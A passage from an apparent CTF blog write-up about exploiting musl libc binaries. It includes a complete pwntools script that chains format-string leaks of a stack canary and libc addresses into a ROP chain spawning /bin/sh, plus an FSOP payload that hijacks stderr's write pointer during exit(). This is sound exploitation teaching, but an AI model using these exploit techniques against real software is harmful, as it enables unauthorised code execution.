  puts(&quot;I think you do not need warmup!!&quot;);
}

int main() {
  liiik();
  puts((&quot;One more time and you will be strong!!&quot;));
  likkkkky();
  char array[0x10];
  scanf(&quot;%s&quot;, array);

  return 0;

}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But there&apos;s a twist.&lt;a href=&quot;https://elixir.bootlin.com/musl/v1.2.5/source/src/&quot;&gt;Musl&lt;/a&gt; libc does not support &lt;code&gt;percentage&lt;/code&gt; in printf function.So we can&apos;t use &lt;code&gt;$&lt;/code&gt; sign to leak value wrt to stack.Also the ld and libc is same in musl as seen through vmmap in gef so only one leak is enough for everything.
&amp;lt;!-- //Todo-&amp;gt;picture of vmmap --&amp;gt;
&lt;img src=&quot;../../assets/images/vmmap.png&quot; alt=&quot;vmmap&quot; title=&quot;Vmmap&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Exploitation&lt;/h3&gt;
&lt;p&gt;After debugging in gef, directly sending &lt;code&gt;&quot;%p%p&quot;&lt;/code&gt; gives us &lt;code&gt;libc and stack leak&lt;/code&gt;.For &lt;code&gt;canary&lt;/code&gt; leak,we have to use &lt;code&gt;&quot;%s&quot;&lt;/code&gt; to leak it.&lt;code&gt;Stack address[$RBP-0x8]&lt;/code&gt; and libc address in TLS region points to the &lt;code&gt;canary&lt;/code&gt; so we can use either of them to leak the canary.
In &lt;code&gt;glibc&lt;/code&gt;,canary is randomized 8 bytes and has &lt;code&gt;null bytes&lt;/code&gt; in the least significant byte to prevent accidental read or write via puts or printf.
But in musl, &lt;code&gt;null byte&lt;/code&gt; of &lt;code&gt;canary&lt;/code&gt; is present at the &lt;code&gt;second lowest significant byte&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gef&amp;gt; x $rbp-0x8
0x7fffffffdf98:	0x88a1c0175ca30004	&amp;lt;-canary
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;../../assets/images/tls.png&quot; alt=&quot;canary&quot; title=&quot;TLS&quot; /&gt;&lt;/p&gt;
&lt;p&gt;So We have to leak &lt;code&gt;six&lt;/code&gt; bytes and then &lt;code&gt;one&lt;/code&gt; bytes then reconstruct the canary for rop chain.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *
elf = context.binary = ELF(&quot;./chall&quot;)
context.log_level  = &quot;Debug&quot;
# libc = ELF(&quot;/usr/local/musl/lib/libc.so&quot;)
libc  = ELF(&quot;./libc.so&quot;)
# io =process([&quot;./libc.so&quot;,&quot;./test_patched&quot;])
io = process()
gdbscript =&apos;&apos;&apos;
# b *liiik+146
# b *likkkkky+146
b *main+84
&apos;&apos;&apos;
# gdb.attach(io,gdbscript=gdbscript)
payload = b&quot;%p%p&quot;
io.sendline(payload)
stack_leak =int(io.recvn(0x8+0x6),0x10)
log.critical(f&quot;stack leak :{hex(stack_leak)}&quot;)


io.recvn(0x10-0x8-0x6)
libc_leak =int(io.recvn(0xc),0x10)
log.critical(f&quot;libc leak :{hex(libc_leak)}&quot;)

libc.address =libc_leak-0xb1ba4
io.recvuntil(b&quot;strong!!&quot;)

payload = b&quot;%p%p%p%p%p%p%p%p&quot;+b&quot;AAAA&quot;+b&quot;%s&quot;+b&quot;%s&quot;
payload+= p64(libc_leak-0x14)
payload+=p64(libc_leak-0x12)

io.sendline(payload)

io.recvuntil(b&quot;AAAA&quot;)
canary_lsb = unpack(io.recvn(0x1),&quot;all&quot;)
log.critical(f&quot;canary lsb :{hex(canary_lsb)}&quot;)


canary_upper_6_bytes = unpack(io.recvn(0x6),&quot;all&quot;)
canary = (canary_upper_6_bytes&amp;lt;&amp;lt;16)+canary_lsb
log.critical(f&quot;canary complete :{hex(canary)}&quot;)

pop_rdi = libc.address+0x00000000000142a5
system = libc.address+0x4cd40
# bin_sh  = libc.address+0xb2cf0
bin_sh =stack_leak+0x70
ret = libc.address+0x0000000000016cec

# rop_chain =b&quot;A&quot;*0x18+pack(canary)+pack(0x0)+pack(pop_rdi)+pack(bin_sh)+pack(ret)+pack(system)
syscall = libc.address+0x00000000000140c3
pop_rsi = libc.address+0x0000000000015759
pop_rdx= libc.address+0x0000000000029c7b
pop_rax =libc.address+0x00000000000159d6

rop_chain =b&quot;/bin/sh\x00&quot;+b&quot;A&quot;*0x10+pack(canary)+pack(0x0)+pack(pop_rdi)+pack(bin_sh)+pack(pop_rsi)+pack(0x0)+pack(pop_rdx)+pack(0x0)+pack(pop_rax)+pack(0x3b)+pack(syscall)

io.recvuntil(b&quot;warmup!!&quot;)
io.sendline(rop_chain)

io.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;FSOP&lt;/h3&gt;
&lt;p&gt;One week after this,Another musl challenge came in &lt;code&gt;NITE-CTF&lt;/code&gt; and I used &lt;code&gt;FSOP to hijack exit handler&lt;/code&gt; to execute &lt;code&gt;system(&quot;/bin/sh&quot;)&lt;/code&gt;.
First of all let&apos;s see the how program &lt;code&gt;exits&lt;/code&gt; in musl?
For this I am writing a demo program  that gives us arbitrary write primitive on &lt;code&gt;stderr&lt;/code&gt; and then calls &lt;code&gt;exit(0)&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
int main() {
  printf(&quot;stderr :%p\n&quot;, stderr);
  read(STDIN_FILENO, stderr, 0x100);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Above code prints the address of &lt;code&gt;stderr&lt;/code&gt; and then gives the &lt;code&gt;write primitive on stderr&lt;/code&gt;.
This is the  &lt;code&gt;file structure&lt;/code&gt; in musl.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gef&amp;gt; ptype struct _IO_FILE
type = struct _IO_FILE {
    unsigned int flags;
    unsigned char *rpos;
    unsigned char *rend;
    int (*close)(FILE *);
    unsigned char *wend;
    unsigned char *wpos;
    unsigned char *mustbezero_1;
    unsigned char *wbase;
    size_t (*read)(FILE *, unsigned char *, size_t);
    size_t (*write)(FILE *, const unsigned char *, size_t);
    off_t (*seek)(FILE *, off_t, int);
    unsigned char *buf;
    size_t buf_size;
    FILE *prev;
    FILE *next;
    int fd;
    int pipe_pid;
    long lockcount;
    int mode;
    volatile int lock;
    int lbf;
    void *cookie;
    off_t off;
    char *getln_buf;
    void *mustbezero_2;
    unsigned char *shend;
    off_t shlim;
    off_t shcnt;
    FILE *prev_locked;
    FILE *next_locked;
    __locale_struct *locale;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As you can see there is &lt;code&gt;no vtable&lt;/code&gt; in file structure.idk why but ptype/ox in gef
which is used to show offsets in file structure is not working,but idt we need it as
checks can also be deduced by reading assembly of close_file.
This is the stderr file structure in musl.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gef&amp;gt; p/x *(struct _IO_FILE *)stderr
$6 = {
  flags = 0x5,
  rpos = 0x0,
  rend = 0x0,
  close = 0x7ffff7fa4da0,
  wend = 0x0,
  wpos = 0x0,
  mustbezero_1 = 0x0,
  wbase = 0x0,
  read = 0x0,
  write = 0x7ffff7fa4f80,
  seek = 0x7ffff7fa4f70,
  buf = 0x7ffff7ffded8,
  buf_size = 0x0,
  prev = 0x0,
  next = 0x0,
  fd = 0x2,
  pipe_pid = 0x0,
  lockcount = 0x0,
  mode = 0x0,
  lock = 0xffffffff,
  lbf = 0xffffffff,
  cookie = 0x0,
  off = 0x0,
  getln_buf = 0x0,
  mustbezero_2 = 0x0,
  shend = 0x0,
  shlim = 0x0,
  shcnt = 0x0,
  prev_locked = 0x0,
  next_locked = 0x0,
  locale = 0x0
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;_Noreturn void exit(int code)
{
	__funcs_on_exit();
	__libc_exit_fini();
	__stdio_exit();
	_Exit(code);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;   0x00007ffff7f600c8 &amp;lt;+56&amp;gt;:	call   0x7ffff7f6a930 &amp;lt;__funcs_on_exit&amp;gt;
   0x00007ffff7f600cd &amp;lt;+61&amp;gt;:	call   0x7ffff7fc0d40 &amp;lt;__libc_exit_fini&amp;gt;
   0x00007ffff7f600d2 &amp;lt;+66&amp;gt;:	xor    eax,eax
   0x00007ffff7f600d4 &amp;lt;+68&amp;gt;:	call   0x7ffff7fa4e40 &amp;lt;__stdio_exit&amp;gt;
   0x00007ffff7f600d9 &amp;lt;+73&amp;gt;:	mov    edi,ebx
   0x00007ffff7f600db &amp;lt;+75&amp;gt;:	call   0x7ffff7f6a770 &amp;lt;_Exit&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Above is the disassembly of exit.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;_Noreturn void _Exit(int ec)
{
	__syscall(SYS_exit_group, ec);
	for (;;) __syscall(SYS_exit, ec);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Upon calling exit,it calls some cleaning functions and then syscall.&lt;/p&gt;
&lt;p&gt;Function __stdio_exit()-&amp;gt;It cleans the stdin,stdout and stderr.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void __stdio_exit(void)
{
	FILE *f;
	for (f=*__ofl_lock(); f; f=f-&amp;gt;next) close_file(f);
	close_file(__stdin_used);
	close_file(__stdout_used);
	close_file(__stderr_used);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Dump of assembler code for function __stdio_exit:
   0x00007ffff7fa4e40 &amp;lt;+0&amp;gt;:	endbr64 
   0x00007ffff7fa4e44 &amp;lt;+4&amp;gt;:	push   rbx
   0x00007ffff7fa4e45 &amp;lt;+5&amp;gt;:	call   0x7ffff7fa7f60 &amp;lt;__ofl_lock&amp;gt;
   0x00007ffff7fa4e4a &amp;lt;+10&amp;gt;:	mov    rbx,QWORD PTR [rax]
   0x00007ffff7fa4e4d &amp;lt;+13&amp;gt;:	test   rbx,rbx
   0x00007ffff7fa4e50 &amp;lt;+16&amp;gt;:	je     0x7ffff7fa4e69 &amp;lt;__stdio_exit+41&amp;gt;
   0x00007ffff7fa4e52 &amp;lt;+18&amp;gt;:	nop    WORD PTR [rax+rax*1+0x0]
   0x00007ffff7fa4e58 &amp;lt;+24&amp;gt;:	mov    rdi,rbx
   0x00007ffff7fa4e5b &amp;lt;+27&amp;gt;:	call   0x7ffff7fa4dd0 &amp;lt;close_file&amp;gt;
   0x00007ffff7fa4e60 &amp;lt;+32&amp;gt;:	mov    rbx,QWORD PTR [rbx+0x70]
   0x00007ffff7fa4e64 &amp;lt;+36&amp;gt;:	test   rbx,rbx
   0x00007ffff7fa4e67 &amp;lt;+39&amp;gt;:	jne    0x7ffff7fa4e58 &amp;lt;__stdio_exit+24&amp;gt;
   0x00007ffff7fa4e69 &amp;lt;+41&amp;gt;:	mov    rdi,QWORD PTR [rip+0x56560]  #  &amp;lt;__stdin_used&amp;gt;
   0x00007ffff7fa4e70 &amp;lt;+48&amp;gt;:	call   0x7ffff7fa4dd0 &amp;lt;close_file&amp;gt;
   0x00007ffff7fa4e75 &amp;lt;+53&amp;gt;:	mov    rdi,QWORD PTR [rip+0x5655c]  #  &amp;lt;__stdout_used&amp;gt;
   0x00007ffff7fa4e7c &amp;lt;+60&amp;gt;:	call   0x7ffff7fa4dd0 &amp;lt;close_file&amp;gt;
   0x00007ffff7fa4e81 &amp;lt;+65&amp;gt;:	mov    rdi,QWORD PTR [rip+0x56540]  #  &amp;lt;__stderr_used&amp;gt;
   0x00007ffff7fa4e88 &amp;lt;+72&amp;gt;:	pop    rbx
   0x00007ffff7fa4e89 &amp;lt;+73&amp;gt;:	jmp    0x7ffff7fa4dd0 &amp;lt;close_file&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And this is the close_file() function. As there are very less checks on the file structure,
and with &lt;code&gt;arbitrary write primitive&lt;/code&gt;,if we control  &lt;code&gt;f-&amp;gt;wpos&lt;/code&gt; ,&lt;code&gt;f-&amp;gt;wbase&lt;/code&gt; and &lt;code&gt;f-&amp;gt;write&lt;/code&gt; .
We can easily call &lt;code&gt;system&lt;/code&gt; by overwritng &lt;code&gt;f-&amp;gt;write&lt;/code&gt; to &lt;code&gt;system&lt;/code&gt; and &lt;code&gt;f-&amp;gt;_flags&lt;/code&gt; to &lt;code&gt;&quot;/bin/sh&quot;&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;static void close_file(FILE *f)
{
	if (!f) return;
	FFINALLOCK(f);
	if (f-&amp;gt;wpos != f-&amp;gt;wbase) f-&amp;gt;write(f, 0, 0);
	if (f-&amp;gt;rpos != f-&amp;gt;rend) f-&amp;gt;seek(f, f-&amp;gt;rpos-f-&amp;gt;rend, SEEK_CUR);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is the assembly of close_file().&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;   0x00007ffff7fa4dd0 &amp;lt;+0&amp;gt;:	test   rdi,rdi
   0x00007ffff7fa4dd3 &amp;lt;+3&amp;gt;:	je     0x7ffff7fa4e38 &amp;lt;close_file+104&amp;gt;
   0x00007ffff7fa4dd5 &amp;lt;+5&amp;gt;:	push   rbx
   0x00007ffff7fa4dd6 &amp;lt;+6&amp;gt;:	mov    eax,DWORD PTR [rdi+0x8c]
   0x00007ffff7fa4ddc &amp;lt;+12&amp;gt;:	mov    rbx,rdi
   0x00007ffff7fa4ddf &amp;lt;+15&amp;gt;:	test   eax,eax
   0x00007ffff7fa4de1 &amp;lt;+17&amp;gt;:	jns    0x7ffff7fa4e20 &amp;lt;close_file+80&amp;gt;
   0x00007ffff7fa4de3 &amp;lt;+19&amp;gt;:	mov    rax,QWORD PTR [rbx+0x38]
   0x00007ffff7fa4de7 &amp;lt;+23&amp;gt;:	cmp    QWORD PTR [rbx+0x28],rax
   0x00007ffff7fa4deb &amp;lt;+27&amp;gt;:	je     0x7ffff7fa4df7 &amp;lt;close_file+39&amp;gt;
   0x00007ffff7fa4ded &amp;lt;+29&amp;gt;:	xor    edx,edx
   0x00007ffff7fa4def &amp;lt;+31&amp;gt;:	xor    esi,esi
   0x00007ffff7fa4df1 &amp;lt;+33&amp;gt;:	mov    rdi,rbx
   0x00007ffff7fa4df4 &amp;lt;+36&amp;gt;:	call   QWORD PTR [rbx+0x48]
   0x00007ffff7fa4df7 &amp;lt;+39&amp;gt;:	mov    rsi,QWORD PTR [rbx+0x8]
   0x00007ffff7fa4dfb &amp;lt;+43&amp;gt;:	mov    rax,QWORD PTR [rbx+0x10]
   0x00007ffff7fa4dff &amp;lt;+47&amp;gt;:	cmp    rsi,rax
   0x00007ffff7fa4e02 &amp;lt;+50&amp;gt;:	je     0x7ffff7fa4e30 &amp;lt;close_file+96&amp;gt;
   0x00007ffff7fa4e04 &amp;lt;+52&amp;gt;:	sub    rsi,rax
   0x00007ffff7fa4e07 &amp;lt;+55&amp;gt;:	mov    rdi,rbx
   0x00007ffff7fa4e0a &amp;lt;+58&amp;gt;:	mov    rax,QWORD PTR [rbx+0x50]
   0x00007ffff7fa4e0e &amp;lt;+62&amp;gt;:	mov    edx,0x1
   0x00007ffff7fa4e13 &amp;lt;+67&amp;gt;:	pop    rbx
   0x00007ffff7fa4e14 &amp;lt;+68&amp;gt;:	jmp    rax
   0x00007ffff7fa4e16 &amp;lt;+70&amp;gt;:	cs nop WORD PTR [rax+rax*1+0x0]
   0x00007ffff7fa4e20 &amp;lt;+80&amp;gt;:	call   0x7ffff7fa4be0 &amp;lt;__lockfile&amp;gt;
   0x00007ffff7fa4e25 &amp;lt;+85&amp;gt;:	jmp    0x7ffff7fa4de3 &amp;lt;close_file+19&amp;gt;
   0x00007ffff7fa4e27 &amp;lt;+87&amp;gt;:	nop    WORD PTR [rax+rax*1+0x0]
   0x00007ffff7fa4e30 &amp;lt;+96&amp;gt;:	pop    rbx
   0x00007ffff7fa4e31 &amp;lt;+97&amp;gt;:	ret    
   0x00007ffff7fa4e32 &amp;lt;+98&amp;gt;:	nop    WORD PTR [rax+rax*1+0x0]
   0x00007ffff7fa4e38 &amp;lt;+104&amp;gt;:	ret    
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;See this instruction&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;   0x00007ffff7fa4de3 &amp;lt;+19&amp;gt;:	mov    rax,QWORD PTR [rbx+0x38]
   0x00007ffff7fa4de7 &amp;lt;+23&amp;gt;:	cmp    QWORD PTR [rbx+0x28],rax
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;this is the equality check of  &lt;code&gt;wpos&lt;/code&gt; and &lt;code&gt;wbase&lt;/code&gt;.
and then this call instruction;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;   0x00007ffff7fa4df4 &amp;lt;+36&amp;gt;:	call   QWORD PTR [rbx+0x48]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;and here is the call to &lt;code&gt;f-&amp;gt;write&lt;/code&gt;.
This is the fake stderr structure which I used to get shell.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;system = libc_leak+0x4e0c0-0xad080
fsop = b&quot;/bin/sh\x00&quot;#0x0
fsop +=pack(0x0)*4#0x20
fsop+=pack(0x0)#0x28
fsop+=pack(0x0)#0x30
fsop+=pack(0x1)#0x38
fsop+=pack(0x0)#0x40
fsop+=pack(system)#0x48
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;DeepShii&lt;/h3&gt;
&lt;p&gt;This is just the first part of the musl pwn series. Also this is not complete.
Maybe I&apos;ll update it asap.&lt;/p&gt;
</content:encoded></item></channel></rss>